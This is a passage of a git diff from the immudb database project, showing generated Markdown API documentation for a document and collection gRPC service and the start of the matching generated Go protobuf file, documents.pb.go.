Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| documentId | [string](#string) | | | +| transactionId | [uint64](#uint64) | | | +| proofSinceTransactionId | [uint64](#uint64) | | | + + + + + + + + +### DocumentProofResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| database | [string](#string) | | | +| collectionId | [uint32](#uint32) | | | +| encodedDocument | [bytes](#bytes) | | | +| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | + + + + + + + + +### DocumentSearchRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| query | [Query](#immudb.model.Query) | | | +| desc | [bool](#bool) | | | +| page | [uint32](#uint32) | | | +| perPage | [uint32](#uint32) | | | + + + + + + + + +### DocumentSearchResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | + + + + + + + + +### DocumentUpdateRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| query | [Query](#immudb.model.Query) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | + + + + + + + + +### DocumentUpdateResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| revision | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | | | + + + + + + + + +### Field + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | +| type | [FieldType](#immudb.model.FieldType) | | | + + + + + + + + +### FieldComparison + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| field | [string](#string) | | | +| operator | [ComparisonOperator](#immudb.model.ComparisonOperator) | | | +| value | [google.protobuf.Value](#google.protobuf.Value) | | | + + + + + + + + +### Index + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| fields | [string](#string) | repeated | | +| isUnique | [bool](#bool) | | | + + + + + + + + +### Query + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| expressions | [QueryExpression](#immudb.model.QueryExpression) | repeated | | + + + + + + + + +### QueryExpression + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| fieldComparisons | [FieldComparison](#immudb.model.FieldComparison) | repeated | | + + + + + + + + + + +### ComparisonOperator + + +| Name | Number | Description | +| ---- | ------ | ----------- | +| EQ | 0 | | +| NE | 1 | | +| LT | 2 | | +| LE | 3 | | +| GT | 4 | | +| GE | 5 | | +| LIKE | 6 | | + + + + + +### FieldType + + +| Name | Number | Description | +| ---- | ------ | ----------- | +| STRING | 0 | | +| BOOLEAN | 1 | | +| INTEGER | 2 | | +| DOUBLE | 3 | | +| BLOB | 4 | | + + + + + + + + + +### DocumentService + + +| Method Name | Request Type | Response Type | Description | +| ----------- | ------------ | ------------- | ------------| +| CollectionCreate | [CollectionCreateRequest](#immudb.model.CollectionCreateRequest) | [CollectionCreateResponse](#immudb.model.CollectionCreateResponse) | | +| CollectionGet | [CollectionGetRequest](#immudb.model.CollectionGetRequest) | [CollectionGetResponse](#immudb.model.CollectionGetResponse) | | +| CollectionList | [CollectionListRequest](#immudb.model.CollectionListRequest) | [CollectionListResponse](#immudb.model.CollectionListResponse) | | +| CollectionDelete | [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) | | +| CollectionUpdate | [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) | | +| DocumentInsert | [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) | [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) | | +| DocumentInsertMany | [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) | | +| DocumentUpdate | [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) | | +| DocumentSearch | [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.model.DocumentSearchResponse) | | +| DocumentAudit | [DocumentAuditRequest](#immudb.model.DocumentAuditRequest) | [DocumentAuditResponse](#immudb.model.DocumentAuditResponse) | | +| DocumentProof | [DocumentProofRequest](#immudb.model.DocumentProofRequest) | [DocumentProofResponse](#immudb.model.DocumentProofResponse) | | + + + + + +## Scalar Value Types + +| .proto Type | Notes | C++ | Java | Python | Go | C# | PHP | Ruby | +| ----------- | ----- | --- | ---- | ------ | -- | -- | --- | ---- | +| double | | double | double | float | float64 | double | float | Float | +| float | | float | float | float | float32 | float | float | Float | +| int32 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint32 instead. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | +| int64 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint64 instead. | int64 | long | int/long | int64 | long | integer/string | Bignum | +| uint32 | Uses variable-length encoding. | uint32 | int | int/long | uint32 | uint | integer | Bignum or Fixnum (as required) | +| uint64 | Uses variable-length encoding. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum or Fixnum (as required) | +| sint32 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int32s. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | +| sint64 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int64s. | int64 | long | int/long | int64 | long | integer/string | Bignum | +| fixed32 | Always four bytes. More efficient than uint32 if values are often greater than 2^28. | uint32 | int | int | uint32 | uint | integer | Bignum or Fixnum (as required) | +| fixed64 | Always eight bytes. More efficient than uint64 if values are often greater than 2^56. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum | +| sfixed32 | Always four bytes. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | +| sfixed64 | Always eight bytes. | int64 | long | int/long | int64 | long | integer/string | Bignum | +| bool | | bool | boolean | boolean | bool | bool | boolean | TrueClass/FalseClass | +| string | A string must always contain UTF-8 encoded or 7-bit ASCII text. | string | String | str/unicode | string | string | string | String (UTF-8) | +| bytes | May contain any arbitrary sequence of bytes. | string | ByteString | str | []byte | ByteString | string | String (ASCII-8BIT) | + diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go new file mode 100644 index 0000000000..902584f558 --- /dev/null +++ b/pkg/api/protomodel/documents.pb.go @@ -0,0 +1,2519 @@ +// +//Copyright 2023 Codenotary Inc. All rights reserved. +// +//Licensed under the Apache License, Version 2.0 (the "License"); +//you may not use this file except in compliance with the License. +//You may obtain a copy of the License at +// +//http://www.apache.org/licenses/LICENSE-2.0 +// +//Unless required by applicable law or agreed to in writing, software +//distributed under the License is distributed on an "AS IS" BASIS, +//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +//See the License for the specific language governing permissions and +//limitations under the License. + +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.28.1 +// protoc v3.11.4 +// source: documents.proto + +package protomodel + +import ( + schema "github.com/codenotary/immudb/pkg/api/schema" + _struct "github.com/golang/protobuf/ptypes/struct" + _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" + _ "google.golang.org/genproto/googleapis/api/annotations" + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +type FieldType int32 + +const ( + FieldType_STRING FieldType = 0 + FieldType_BOOLEAN FieldType = 1 + FieldType_INTEGER FieldType = 2 + FieldType_DOUBLE FieldType = 3 + FieldType_BLOB FieldType = 4 +) + +// Enum value maps for FieldType. +var ( + FieldType_name = map[int32]string{ + 0: "STRING", + 1: "BOOLEAN", + 2: "INTEGER", + 3: "DOUBLE", + 4: "BLOB", + } + FieldType_value = map[string]int32{ + "STRING": 0, + "BOOLEAN": 1, + "INTEGER": 2, + "DOUBLE": 3, + "BLOB": 4, + } +) + +func (x FieldType) Enum() *FieldType { + p := new(FieldType) + *p = x + return p +} + +func (x FieldType) String() string { + return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) +} + +func (FieldType) Descriptor() protoreflect.EnumDescriptor { + return file_documents_proto_enumTypes[0].Descriptor() +} + +func (FieldType) Type() protoreflect.EnumType { + return &file_documents_proto_enumTypes[0] +} + +func (x FieldType) Number() protoreflect.EnumNumber { + return protoreflect.EnumNumber(x) +} + +// Deprecated: Use FieldType.Descriptor instead. +func (FieldType) EnumDescriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{0} +} + +type ComparisonOperator int32 + +const ( + ComparisonOperator_EQ ComparisonOperator = 0 + ComparisonOperator_NE ComparisonOperator = 1 + ComparisonOperator_LT ComparisonOperator = 2 + ComparisonOperator_LE ComparisonOperator = 3 + ComparisonOperator_GT ComparisonOperator = 4 + ComparisonOperator_GE ComparisonOperator = 5 + ComparisonOperator_LIKE ComparisonOperator = 6 +) + +// Enum value maps for ComparisonOperator. +var ( + ComparisonOperator_name = map[int32]string{ + 0: "EQ", + 1: "NE", + 2: "LT", + 3: "LE", + 4: "GT", + 5: "GE", + 6: "LIKE", + } + ComparisonOperator_value = map[string]int32{ + "EQ": 0, + "NE": 1, + "LT": 2, + "LE": 3, + "GT": 4, + "GE": 5, + "LIKE": 6, + } +) + +func (x ComparisonOperator) Enum() *ComparisonOperator { + p := new(ComparisonOperator) + *p = x + return p +} + +func (x ComparisonOperator) String() string { + return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) +} + +func (ComparisonOperator) Descriptor() protoreflect.EnumDescriptor { + return file_documents_proto_enumTypes[1].Descriptor() +} + +func (ComparisonOperator) Type() protoreflect.EnumType { + return &file_documents_proto_enumTypes[1] +} + +func (x ComparisonOperator) Number() protoreflect.EnumNumber { + return protoreflect.EnumNumber(x) +} + +// Deprecated: Use ComparisonOperator.Descriptor instead. +func (ComparisonOperator) EnumDescriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{1} +} + +type CollectionCreateRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection *Collection `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` +} + +func (x *CollectionCreateRequest) Reset() { + *x = CollectionCreateRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionCreateRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionCreateRequest) ProtoMessage() {} + +func (x *CollectionCreateRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[0] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionCreateRequest.ProtoReflect.Descriptor instead. +func (*CollectionCreateRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{0} +} + +func (x *CollectionCreateRequest) GetCollection() *Collection { + if x != nil { + return x.Collection + } + return nil +} + +type CollectionCreateResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection *Collection `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` +} + +func (x *CollectionCreateResponse) Reset() { + *x = CollectionCreateResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionCreateResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionCreateResponse) ProtoMessage() {} + +func (x *CollectionCreateResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[1] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionCreateResponse.ProtoReflect.Descriptor instead. +func (*CollectionCreateResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{1} +} + +func (x *CollectionCreateResponse) GetCollection() *Collection { + if x != nil { + return x.Collection + } + return nil +} + +type Collection struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + IdFieldName string `protobuf:"bytes,2,opt,name=idFieldName,proto3" json:"idFieldName,omitempty"` + Fields []*Field `protobuf:"bytes,3,rep,name=fields,proto3" json:"fields,omitempty"` + Indexes []*Index `protobuf:"bytes,4,rep,name=indexes,proto3" json:"indexes,omitempty"` +} + +func (x *Collection) Reset() { + *x = Collection{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Collection) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Collection) ProtoMessage() {} + +func (x *Collection) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[2] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Collection.ProtoReflect.Descriptor instead. +func (*Collection) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{2} +} + +func (x *Collection) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *Collection) GetIdFieldName() string { + if x != nil { + return x.IdFieldName + } + return "" +} + +func (x *Collection) GetFields() []*Field { + if x != nil { + return x.Fields + } + return nil +} + +func (x *Collection) GetIndexes() []*Index { + if x != nil { + return x.Indexes + } + return nil +} + +type Field struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Type FieldType `protobuf:"varint,2,opt,name=type,proto3,enum=immudb.model.FieldType" json:"type,omitempty"` +} + +func (x *Field) Reset() { + *x = Field{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Field) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Field) ProtoMessage() {} + +func (x *Field) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[3] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Field.ProtoReflect.Descriptor instead. +func (*Field) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{3} +} + +func (x *Field) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *Field) GetType() FieldType { + if x != nil { + return x.Type + } + return FieldType_STRING +} + +type Index struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Fields []string `protobuf:"bytes,1,rep,name=fields,proto3" json:"fields,omitempty"` + IsUnique bool `protobuf:"varint,2,opt,name=isUnique,proto3" json:"isUnique,omitempty"` +} + +func (x *Index) Reset() { + *x = Index{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Index) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Index) ProtoMessage() {} + +func (x *Index) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[4] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Index.ProtoReflect.Descriptor instead. +func (*Index) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{4} +} + +func (x *Index) GetFields() []string { + if x != nil { + return x.Fields + } + return nil +} + +func (x *Index) GetIsUnique() bool { + if x != nil { + return x.IsUnique + } + return false +} + +type CollectionGetRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` +} + +func (x *CollectionGetRequest) Reset() { + *x = CollectionGetRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[5] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionGetRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionGetRequest) ProtoMessage() {} + +func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[5] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionGetRequest.ProtoReflect.Descriptor instead. +func (*CollectionGetRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{5} +} + +func (x *CollectionGetRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +type CollectionGetResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection *Collection `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` +} + +func (x *CollectionGetResponse) Reset() { + *x = CollectionGetResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[6] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionGetResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionGetResponse) ProtoMessage() {} + +func (x *CollectionGetResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[6] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionGetResponse.ProtoReflect.Descriptor instead. +func (*CollectionGetResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{6} +} + +func (x *CollectionGetResponse) GetCollection() *Collection { + if x != nil { + return x.Collection + } + return nil +} + +type CollectionListRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *CollectionListRequest) Reset() { + *x = CollectionListRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[7] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionListRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionListRequest) ProtoMessage() {} + +func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[7] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionListRequest.ProtoReflect.Descriptor instead. +func (*CollectionListRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{7} +} + +type CollectionListResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collections []*Collection `protobuf:"bytes,1,rep,name=collections,proto3" json:"collections,omitempty"` +} + +func (x *CollectionListResponse) Reset() { + *x = CollectionListResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[8] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionListResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionListResponse) ProtoMessage() {} + +func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[8] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionListResponse.ProtoReflect.Descriptor instead. +func (*CollectionListResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{8} +} + +func (x *CollectionListResponse) GetCollections() []*Collection { + if x != nil { + return x.Collections + } + return nil +} + +type CollectionDeleteRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` +} + +func (x *CollectionDeleteRequest) Reset() { + *x = CollectionDeleteRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[9] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionDeleteRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionDeleteRequest) ProtoMessage() {} + +func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[9] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionDeleteRequest.ProtoReflect.Descriptor instead. +func (*CollectionDeleteRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{9} +} + +func (x *CollectionDeleteRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +type CollectionDeleteResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *CollectionDeleteResponse) Reset() { + *x = CollectionDeleteResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[10] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionDeleteResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionDeleteResponse) ProtoMessage() {} + +func (x *CollectionDeleteResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[10] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionDeleteResponse.ProtoReflect.Descriptor instead. +func (*CollectionDeleteResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{10} +} + +type CollectionUpdateRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection *Collection `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` +} + +func (x *CollectionUpdateRequest) Reset() { + *x = CollectionUpdateRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[11] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionUpdateRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionUpdateRequest) ProtoMessage() {} + +func (x *CollectionUpdateRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[11] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionUpdateRequest.ProtoReflect.Descriptor instead. +func (*CollectionUpdateRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{11} +} + +func (x *CollectionUpdateRequest) GetCollection() *Collection { + if x != nil { + return x.Collection + } + return nil +} + +type CollectionUpdateResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *CollectionUpdateResponse) Reset() { + *x = CollectionUpdateResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[12] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionUpdateResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionUpdateResponse) ProtoMessage() {} + +func (x *CollectionUpdateResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[12] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionUpdateResponse.ProtoReflect.Descriptor instead. +func (*CollectionUpdateResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{12} +} + +type DocumentInsertRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Document *_struct.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` +} + +func (x *DocumentInsertRequest) Reset() { + *x = DocumentInsertRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[13] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentInsertRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentInsertRequest) ProtoMessage() {} + +func (x *DocumentInsertRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[13] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentInsertRequest.ProtoReflect.Descriptor instead. +func (*DocumentInsertRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{13} +} + +func (x *DocumentInsertRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentInsertRequest) GetDocument() *_struct.Struct { + if x != nil { + return x.Document + } + return nil +} + +type DocumentInsertResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` + DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` +} + +func (x *DocumentInsertResponse) Reset() { + *x = DocumentInsertResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[14] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentInsertResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentInsertResponse) ProtoMessage() {} + +func (x *DocumentInsertResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[14] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentInsertResponse.ProtoReflect.Descriptor instead. +func (*DocumentInsertResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{14} +} + +func (x *DocumentInsertResponse) GetTransactionId() uint64 { + if x != nil { + return x.TransactionId + } + return 0 +} + +func (x *DocumentInsertResponse) GetDocumentId() string { + if x != nil { + return x.DocumentId + } + return "" +} + +type DocumentInsertManyRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Documents []*_struct.Struct `protobuf:"bytes,2,rep,name=documents,proto3" json:"documents,omitempty"` +} + 